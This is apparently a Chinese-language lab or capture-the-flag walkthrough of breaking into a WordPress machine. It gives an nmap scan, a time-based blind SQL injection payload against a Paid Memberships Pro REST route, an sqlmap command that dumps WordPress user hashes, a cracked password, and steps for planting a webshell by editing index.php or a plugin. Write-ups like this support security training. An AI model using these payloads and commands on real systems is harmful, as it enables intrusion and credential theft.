NAMP
┌──(root?kali)-[~]
└─# nmap -p- -A 192.168.128.45
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-14 07:03 UTC
Stats: 0:00:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.30% done; ETC: 07:04 (0:00:00 remaining)
Nmap scan report for 192.168.128.45
Host is up (0.071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
|_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://affliation.local/
|_http-server-header: nginx/1.18.0
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8080/tcp)
访问会跳转到一个域名
在host 里面加上这个域名
发现是wordpress 6.2
wpscan扫描
发现了一个版本较低的插件
我们上网搜到了插件的poc
https://www.exploit-db.com/exploits/51235
尝试运行 发现漏洞确实存在
但是他这里给出的方案是用sqlmap去扫描
但是为了锻炼自己 以及oscp考试的要求是不能用sqlmap的
我们尝试手动注入
为了快捷方便的看看 他的poc是啥
proxychains python exp.py http://affliation.local
我用proxychains 直接让python 的request发包 走bp的代理
可以看到poc是
rest_route=/pmpro/v1/order&code=a' OR (SELECT 1 FROM (SELECT(SLEEP(1)))a)-- -
那么我们尝试在这个poc 上改进
这个先标记一下
现在我们再看看有无其他入手点
好像也没找到啥了
然后发现这个sql注入是盲注的 无奈之下还是用sqlmap吧
不然以我的能力写不出来
sqlmap -u "http://affliation.local/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass
接下来就是慢慢等他脱库了
OK经历了一个世纪
我们爆破一下这个密码把
先判断是啥类型的hash
然后再爆破
letsyouupdateyourfunnotesandmore
登录后台成功
尝试该404.php 来反弹shell 然后我发现找不到404的php在哪
于是我该index.php 页面
发现我们竟然是root
懒得get反弹shell了
直接读flag 这连提权都不需要
我现在要针对wordpress研究一下 哪些地方写webshell 能快速定位到
一个是index.php
我现在尝试一下用plugin 写shell
这个插件我们经常看到
而且我们也扫到了
尝试改这个
然后启动它
发现也能行得通
